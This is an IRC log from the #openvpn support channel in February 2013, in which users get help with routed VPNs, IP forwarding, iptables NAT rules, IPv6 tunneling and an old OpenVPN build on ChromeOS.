15:07 <@krzee> then start with the sample configs, change the filenames to match yours, then we'll work on the routing
15:07 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 252 seconds]
15:07 <@krzee> both really, but i meant all 3 together, ip:port:protocol
15:08 < kbarry> ok, i'll have to do that later, i'll jump back on later and were pick it up from there if your around. Thanks for the help.
15:08 <@krzee> you can run 1 on udp and 1 on tcp on the same ip:port
15:08 <@krzee> i wont be around
15:08 <@krzee> but cool
15:08 < kbarry> not later today
15:08 < kbarry> late like next week,
15:08 <@krzee> basically what you wanna do is get a routed tun vpn up with routing to the lans
15:08 <@krzee> !route
15:08 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
15:08 <@krzee> is the main stuff you'll want to understand ^
15:08 < kbarry> ok
15:10 -!- kbarry [~chatzilla@rrcs-24-153-167-50.sw.biz.rr.com] has quit [Quit: ChatZilla 0.9.90 [Firefox 18.0.2/20130201065344]]
15:10 < zhvtar> currently have them running on two diff machines, using diff ports.
15:13 -!- p3rror [~mezgani@2001:0:53aa:64c:1823:5b24:d606:8bc8] has joined #openvpn
15:13 -!- Ahti333 [~Ahti333@cronosx.de] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
15:15 < zhvtar> !tcpip
15:15 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
15:19 -!- gladiatr [~sdspence@24.124.15.166] has joined #openvpn
15:19 -!- gladiatr [~sdspence@24.124.15.166] has quit [Changing host]
15:19 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
15:30 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Remote host closed the connection]
15:50 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
15:54 -!- Holiday [~rjr162@128.118.15.39] has quit [Remote host closed the connection]
16:19 -!- Shway [~Shway@216.208.252.66] has quit [Quit:  Want to be different? Try HydraIRC -> http://www.hydrairc.com <-]
16:30 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:31 -!- TechSmurf [~jdaniel@unaffiliated/techsmurf] has joined #openvpn
16:31 < TechSmurf> Are there any common reasons that OpenVPN will connect successfully but not pass packets?
16:32 < pekster> Firewall, or IP routing in the case of forwarded traffic
16:39 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Ping timeout: 248 seconds]
16:43 < TechSmurf> guess I couldn't avoid installing wireshark on this laptop forever...
16:45 < TechSmurf> huh
16:45 < TechSmurf> nvm.
16:50 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
16:50 < TechSmurf> wireshark showed me the obvious... while my pings weren't returning, some random background system dns queries were... firewall it is.
16:51 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Read error: Connection reset by peer]
16:53 < TechSmurf> I think tap was breaking it too
16:54 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
16:55 < TechSmurf> yeah, it broke under tap entirely
16:56 < TechSmurf> I had done stuff that would have gotten through the firewall before if tap had connected right... just verified it too. Thanks anyway :)
16:56 -!- TechSmurf [~jdaniel@unaffiliated/techsmurf] has left #openvpn []
16:59 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
17:00 -!- emmanuelux [~emmanuelu@94.23.150.162] has joined #openvpn
17:02 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
17:03 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
17:04 -!- vraa__ [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
17:14 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Quit: Leaving]
17:33 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:37 < Kireji> !redirect
17:37 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
17:37 <@vpnHelper> http://ircpimps.org/redirect.png
17:38 < Kireji> !ipforward
17:38 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
17:38 < Kireji> !linipforward
17:38 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
17:42 < Kireji> are there other security concerns I need to understand for "# Uncomment the next line to enable packet forwarding for IPv4
17:42 < Kireji> #net.ipv4.ip_forward=1
17:42 < Kireji> "
17:46 < Kireji> !nat
17:46 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
17:47 < Kireji> !linnat
17:47 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
17:49 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
17:54 < Kireji>  
17:54 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Read error: Connection reset by peer]
18:05 < Kireji> success! - (sort of)
18:06 < Kireji> I followed the linipforward and linnat instructions, and now the web browser appears to be doing what I expect.  when I visit a website in the browser, the connection is tunneled (redirected?) through the openvpn server
18:06 < Kireji> strangely, when I try and ssh, the connection is not tunneled
18:08 < Kireji> how do I tell the kernel to use the tun0 interface when I use the ssh client on the laptop?
18:11 < Kireji> interesting - it's ONLY the route to the opnvpn server that is not being tunneled
18:12 < Kireji> weird, that's the one I want tunneled
18:22 < Kireji> hmmm.  yeah to connections to the openvpn server (the remote entry in the client config) are not going through the 10.8.0.1 gateway.  all the others are.  how do I tell tunnelblick on to put *ALL* the conections through the tun0 interface?
18:31 < Kireji> yup, there is is, right in the routing table, it adds "0/1                10.8.0.5" on the first line, above the default destination (correct) - and then
18:32 < Kireji> last line of the routing table after tunnelblick is fully cennected is "xxx.xxx.247.15/32  192.168.5.1 ... en1" where the xxx address is the remote address
18:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
18:36 < Kireji> daemoen: kisom: pekster: you guys were super helpful before - maybe if I reference you by name your irc client will ping you?
18:42 -!- p3rror [~mezgani@2001:0:53aa:64c:1823:5b24:d606:8bc8] has quit [Ping timeout: 245 seconds]
18:45 < Kireji> (heh) I think I'm seeing now why the routing table has to have that entry
18:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 244 seconds]
18:48 -!- ASUchander [~asuchande@cpe-071-070-224-227.nc.res.rr.com] has quit [Remote host closed the connection]
19:02 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
19:04 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
19:04 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
19:07 -!- digilink [~digilink@unaffiliated/digilink] has quit [Quit: ZNC - http://znc.in]
19:08 -!- raidz is now known as raidz_away
19:11 < Kireji> I just have to refer to the openvpn server with it's 10.8 address, and it's all good!
19:15 -!- emmanuelux [~emmanuelu@94.23.150.162] has quit [Ping timeout: 264 seconds]
19:16 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
19:40 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds]
19:57 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
20:19 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
20:36 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
20:41 -!- James_Epp [~derp@216.36.170.104] has joined #openvpn
20:41 < James_Epp> I am working in PfSense and really buggered up my configuration. How do I reset all of the settings? #pfsense is quiet.
20:42 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
20:42 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
20:42 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:42 -!- mode/#openvpn [+o krzee] by ChanServ
20:43 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
20:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:44 -!- mode/#openvpn [+o krzee] by ChanServ
20:45  * EugeneKay gives pants to krzee 
20:46 <@krzee> nopants!
20:51 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds]
20:52 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
20:52 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
20:52 -!- mode/#openvpn [+o krzee] by ChanServ
21:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving]
21:40 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
22:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
22:34 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
22:48 -!- James_Epp [~derp@216.36.170.104] has quit [Quit: ThrashIRC v2.8 sic populo comunicated]
22:49 -!- batrick [~batrick@nmap/developer/batrick] has quit [Quit: WeeChat 0.3.9.2]
22:49 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
23:00 -!- Devastator- [~devas@186.214.110.60] has joined #openvpn
23:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 252 seconds]
23:40 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
--- Day changed Sat Feb 16 2013
01:07 -!- b1rkh0ff [~b1rkh0ff@178.77.18.35] has quit [Ping timeout: 244 seconds]
01:21 -!- b1rkh0ff [~b1rkh0ff@178.77.20.251] has joined #openvpn
01:36 -!- Orbi [~opera@109.129.24.113] has joined #openvpn
01:36 -!- Orbi [~opera@109.129.24.113] has left #openvpn []
01:45 -!- Eagleman [~Eagleman@vpn.eagleman.net] has joined #openvpn
01:47 -!- xbanux [~xbanux@triband-mum-59.182.166.224.mtnl.net.in] has joined #openvpn
02:05 -!- brute11k1 [~brute11k@89.249.235.89] has joined #openvpn
02:06 -!- brute11k [~brute11k@89.249.235.89] has quit [Ping timeout: 248 seconds]
02:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Remote host closed the connection]
02:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:33 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Network is unreachable]
02:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
02:36 -!- mode/#openvpn [+o vpnHelper] by ChanServ
02:40 -!- brute11k1 [~brute11k@89.249.235.89] has quit [Read error: Operation timed out]
02:41 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
02:52 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
03:37 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
04:12 -!- amir [~amir@unaffiliated/amir] has quit [Remote host closed the connection]
04:18 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
04:20 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:25 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
04:25 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Quit: Ex-Chat]
04:31 -!- meepmeep [~meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
04:49 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
04:51 -!- mnathani [~mnathani@198.84.231.11] has quit []
04:52 -!- amir [~amir@unaffiliated/amir] has joined #openvpn
04:55 -!- pwrcycle [~pwrcycle@unaffiliated/pwrcycle] has quit [Ping timeout: 264 seconds]
04:56 -!- xbanux [~xbanux@triband-mum-59.182.166.224.mtnl.net.in] has quit [Read error: Connection reset by peer]
04:56 -!- xbanux [~xbanux@triband-mum-59.182.146.167.mtnl.net.in] has joined #openvpn
05:00 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
05:09 -!- xbanux [~xbanux@triband-mum-59.182.146.167.mtnl.net.in] has quit [Read error: Connection reset by peer]
05:10 -!- xbanux [~xbanux@triband-mum-59.182.179.193.mtnl.net.in] has joined #openvpn
05:13 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Read error: Connection reset by peer]
05:22 -!- AsadH is now known as zz_AsadH
05:40 -!- HyperGlide [~HyperGlid@110.185.147.126] has joined #openvpn
05:44 -!- xbanux [~xbanux@triband-mum-59.182.179.193.mtnl.net.in] has quit [Read error: Connection reset by peer]
05:45 -!- xbanux [~xbanux@triband-mum-59.182.135.141.mtnl.net.in] has joined #openvpn
05:50 -!- xbanux [~xbanux@triband-mum-59.182.135.141.mtnl.net.in] has quit [Read error: Connection reset by peer]
05:50 -!- xbanux [~xbanux@triband-mum-59.182.149.239.mtnl.net.in] has joined #openvpn
05:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:11 -!- brute11k [~brute11k@89.249.235.89] has quit [Read error: Operation timed out]
06:11 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
06:14 -!- Devastator- [~devas@186.214.110.60] has quit [Changing host]
06:14 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
06:15 -!- Devastator- is now known as Devastator
06:25 -!- HyperGlide [~HyperGlid@110.185.147.126] has quit [Remote host closed the connection]
06:25 -!- HyperGlide [~HyperGlid@110.185.147.126] has joined #openvpn
06:30 -!- HyperGlide [~HyperGlid@110.185.147.126] has quit [Ping timeout: 244 seconds]
06:36 -!- erry is now known as zombierry
06:43 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
06:43 -!- mode/#openvpn [+v s7r] by ChanServ
06:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 264 seconds]
06:46 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 252 seconds]
06:46 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
06:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
06:58 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
07:03 -!- master_of_master [~master_of@p57B54A92.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
07:05 -!- master_of_master [~master_of@p57B542F9.dip.t-dialin.net] has joined #openvpn
07:07 -!- gedO_ [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
07:08 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Ping timeout: 256 seconds]
07:21 -!- brute11k1 [~brute11k@89.249.230.159] has joined #openvpn
07:22 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 264 seconds]
07:36 -!- HyperGlide [~HyperGlid@110.185.147.126] has joined #openvpn
07:40 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
07:40 -!- HyperGlide [~HyperGlid@110.185.147.126] has quit [Ping timeout: 255 seconds]
07:42 -!- gedO_ [~quassel@client-178-16-35-81.inturbo.lt] has quit [Ping timeout: 244 seconds]
07:48 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
07:54 -!- gedO_ [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
07:57 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Ping timeout: 252 seconds]
08:05 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
08:07 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
08:08 -!- gedO_ [~quassel@client-178-16-35-81.inturbo.lt] has quit [Ping timeout: 248 seconds]
08:14 -!- gedO_ [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
08:17 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Ping timeout: 248 seconds]
08:20 -!- p3rror [~mezgani@2001:0:53aa:64c:105b:1370:d606:8bc8] has joined #openvpn
08:22 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:27 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has joined #openvpn
08:29 -!- gedO_ [~quassel@client-178-16-35-81.inturbo.lt] has quit [Ping timeout: 248 seconds]
08:38 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
08:39 -!- diffen3 [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
08:41 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Ping timeout: 248 seconds]
08:48 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
08:53 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
09:14 -!- zombierry is now known as erry
09:16 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
09:23 -!- gedO [~quassel@client-178-16-35-81.inturbo.lt] has quit [Read error: No route to host]
09:24 -!- HyperGlide [~HyperGlid@110.185.147.126] has joined #openvpn
09:24 -!- HyperGlide [~HyperGlid@110.185.147.126] has quit [Remote host closed the connection]
09:36 < bandroidx> how much extra processing on the server and the client does tls-auth take when its enabled?
09:39 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 256 seconds]
09:40 -!- Orbi [~opera@109.129.24.113] has joined #openvpn
09:48 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
09:55 -!- p3rror [~mezgani@2001:0:53aa:64c:105b:1370:d606:8bc8] has quit [Ping timeout: 245 seconds]
10:06 -!- p3rror [~mezgani@2001:0:53aa:64c:2843:1370:d606:7355] has joined #openvpn
10:19 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
10:33 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:52 -!- Orbi [~opera@109.129.24.113] has left #openvpn []
10:57 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
10:59 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has quit []
11:01 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
11:03 -!- Orbi [~opera@109.129.24.113] has joined #openvpn
11:07 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
11:08 -!- Sickness\ is now known as sickness\
11:15 -!- xbanux [~xbanux@triband-mum-59.182.149.239.mtnl.net.in] has quit [Ping timeout: 245 seconds]
11:25 -!- sickness\ is now known as Sickness\
11:29 -!- xbanux [~xbanux@triband-mum-59.182.149.239.mtnl.net.in] has joined #openvpn
11:33 -!- Sickness\ is now known as sickness\
11:34 -!- Orbi [~opera@109.129.24.113] has quit [Quit: Orbi]
11:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
11:41 -!- sickness\ is now known as Sickness\
11:58 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has quit [Ping timeout: 252 seconds]
11:59 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:01 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
12:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
12:45 -!- else- [~else@towely.iodev.org] has joined #openvpn
12:45 < else-> hello, i'm trying to start an openvpn tunnel from a cronjob, but all i get is "Starting virtual private network daemon: foobar failed"
12:45 < else-> i can start it manually using the same user though
12:45 < else-> any idea on how to increase verbosity?
13:16 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:22 -!- brute11k1 [~brute11k@89.249.230.159] has quit [Read error: Connection reset by peer]
13:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Ping timeout: 276 seconds]
13:44 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:58 -!- troyt [~troyt@2001:1938:240:3000::3] has quit [Ping timeout: 245 seconds]
14:07 -!- p3rror [~mezgani@2001:0:53aa:64c:2843:1370:d606:7355] has quit [Ping timeout: 245 seconds]
14:10 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
14:17 -!- xbanux [~xbanux@triband-mum-59.182.149.239.mtnl.net.in] has quit [Ping timeout: 276 seconds]
14:20 -!- p3rror [~mezgani@2001:0:53aa:64c:3434:1370:d673:ec6e] has joined #openvpn
14:26 -!- brute11k [~brute11k@89.249.230.159] has joined #openvpn
14:35 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Ping timeout: 256 seconds]
14:36 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
14:56 -!- k1ng [~k1ng@76.73.57.172] has joined #openvpn
14:56 -!- k1ng [~k1ng@76.73.57.172] has quit [Changing host]
14:56 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
15:04 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:11 -!- p3rror [~mezgani@2001:0:53aa:64c:3434:1370:d673:ec6e] has quit [Ping timeout: 245 seconds]
15:20 -!- b1rkh0ff [~b1rkh0ff@178.77.20.251] has quit [Quit: Leaving]
15:21 < Kireji> so I got openVPN set up to do redirect teh way I want, and I used the iptables commands from the bot to do it.  Unfortunately, I don't really understand what the commands have done, or what the implications are for security.
15:22 < Kireji> Can someone help me understand what the rules these two commands have inserted into iptables do:  (1) "sudo iptables -I FORWARD -i tun+ -j ACCEPT"  and (2) "sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE"
15:24 -!- Eagleman [~Eagleman@vpn.eagleman.net] has quit []
15:25 -!- p3rror [~mezgani@2001:0:53aa:64c:24c1:1370:d606:a004] has joined #openvpn
15:38 -!- p3rror [~mezgani@2001:0:53aa:64c:24c1:1370:d606:a004] has quit [Ping timeout: 245 seconds]
15:43 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
15:51 -!- p3rror [~mezgani@2001:0:53aa:64c:5e:1370:d670:1b9f] has joined #openvpn
16:10 -!- p3rror [~mezgani@2001:0:53aa:64c:5e:1370:d670:1b9f] has quit [Ping timeout: 245 seconds]
16:17 -!- p3rror [~mezgani@2001:0:53aa:64c:10bd:37b4:d670:1b9f] has joined #openvpn
16:39 < kisom> Kireji: I suggest you read the iptables manual.
16:56 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
17:01 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
17:02 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
17:22 -!- p3rror [~mezgani@2001:0:53aa:64c:10bd:37b4:d670:1b9f] has quit [Ping timeout: 245 seconds]
17:35 -!- p3rror [~mezgani@2001:0:53aa:64c:c97:37b4:d607:599a] has joined #openvpn
17:38 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:39 < Kireji> true.  thanks
18:34 -!- p3rror [~mezgani@2001:0:53aa:64c:c97:37b4:d607:599a] has quit [Ping timeout: 245 seconds]
18:58 -!- tr3nx [~me@c-98-225-113-64.hsd1.az.comcast.net] has joined #openvpn
18:58 -!- tr3nx [~me@c-98-225-113-64.hsd1.az.comcast.net] has quit [Client Quit]
19:27 <+s7r> if I have a dual stack ipv4 & ipv6 openvpn server and only ipv4 client can the client reach the ipv6 internet via the vpn tunnel?
19:27 <+s7r> in some way ?
19:52 -!- max_ [~max@98.225.19.83] has joined #openvpn
19:57 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 252 seconds]
19:58 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
20:00 < pekster> s7r: Yes, although the client OS must support IPv6 software-wise. See the --tun-ipv6 option in the manpage, and the section titled 'IPv6 Related Options'
20:01 <+s7r> thanks
20:01 <+s7r> so technically it is possible
20:01 <+s7r> either ipv6 = ipv6 tunnel, ipv4 - ipv4 or ipv4 - ipv4/ipv6
20:01 < pekster> You have to give the client an IPv4 address either way
20:02 < pekster> You can, however, just use a bogus rfc1918 subnet you never plan on actually using
20:02 <+s7r> i need a RFC1918 subnet even if i could tunnel ipv6-ipv6 ?
20:03 < pekster> Just for the VPN network
20:03 < pekster> It's a completely virtual network that you can happily ignore if you don't plan on using it
20:05 <+s7r> yeah i know but it's a requirment or optional? i'm thinking if i would have native ipv6 on the client side also, why would i need RFC1918 for ipv4 tunneling
20:09 < pekster> Well, it doesn't *need* to be rfc1918, but it's stupid to use a public block of IPs if you don't even plan on using the v4 addresses anyway
20:09 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 272 seconds]
20:09 <+s7r> but it won't work with ipv4 disabled, just ipv6 enabled ?
20:10 < pekster> No
20:10 < pekster> You cannot run openpvn in a mode where it does not allocate a virtual IPv4 IP to the server and clients
20:10 < pekster> I don't see why this is a problem
20:11 <+s7r> it's not
20:11 <+s7r> i was just asking
20:11 <+s7r> i thought it works
20:12 < pekster> Eventually the IPv4 requirement will probably be lifted, but AFAIK there's no rush to do that since most of the world is still accessed over the IPv4-Internet
20:12 <+s7r> yes
20:12 <+s7r> that's right
20:12 <+s7r> many thanks for your help pekster
20:13 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
20:18 -!- s7r [~s7r@openvpn/user/s7r] has left #openvpn []
20:19 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
20:32 -!- Kovica [~Kovica@77.38.49.83] has joined #openvpn
20:40 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
21:22 -!- Kovica [~Kovica@77.38.49.83] has quit [Remote host closed the connection]
21:23 -!- brute11k1 [~brute11k@89.249.230.159] has joined #openvpn
21:25 -!- brute11k [~brute11k@89.249.230.159] has quit [Ping timeout: 255 seconds]
21:29 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
21:29 < roue> hola
21:29 < roue> I'm trying to run openvpn under Chromeos.
21:29 < roue> On a chromebook, that is.
21:29 < roue> Their build is seg faulting.
21:30 < roue> I installed a debian wheezy chroot and tried to launch via that. No longer segfaults but it still fails to properly initiate the connection.
21:30 < roue> I've got several other systems using my openvpn install without issue. The clients are a combination of linux (debian) and MacOSX.
21:31 < roue> I figured this would be easy. Just set up the keys, copy over the files and config and go.
21:31 < pekster> What is "their build" ? Something downstream patched from the official release?
21:31 < roue> It's turning into a PITA.
21:32 < roue> the ChromeOS version is 2.1.12 [SSL] [LZ02] [EPOLL] [PKCS11]
21:32 < pekster> That's very, very old
21:33 < roue> the debian chroot version I've tried is 2.2.1 [SSL] [LZ02] [EPOLL] [PKCS11] [eurephia] [MH] [PF_INET6] [IPv6 payload 20110424-2 (2.2RC2)]
21:33 < pekster> We're up to 2.3.0 now. If you're performing builds, especially ones where you want IPv6 connectivity, the 2.3 series is probably what you want
21:34 < roue> the server is OpenVPN 2.1_rc11 i486-pc-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11]
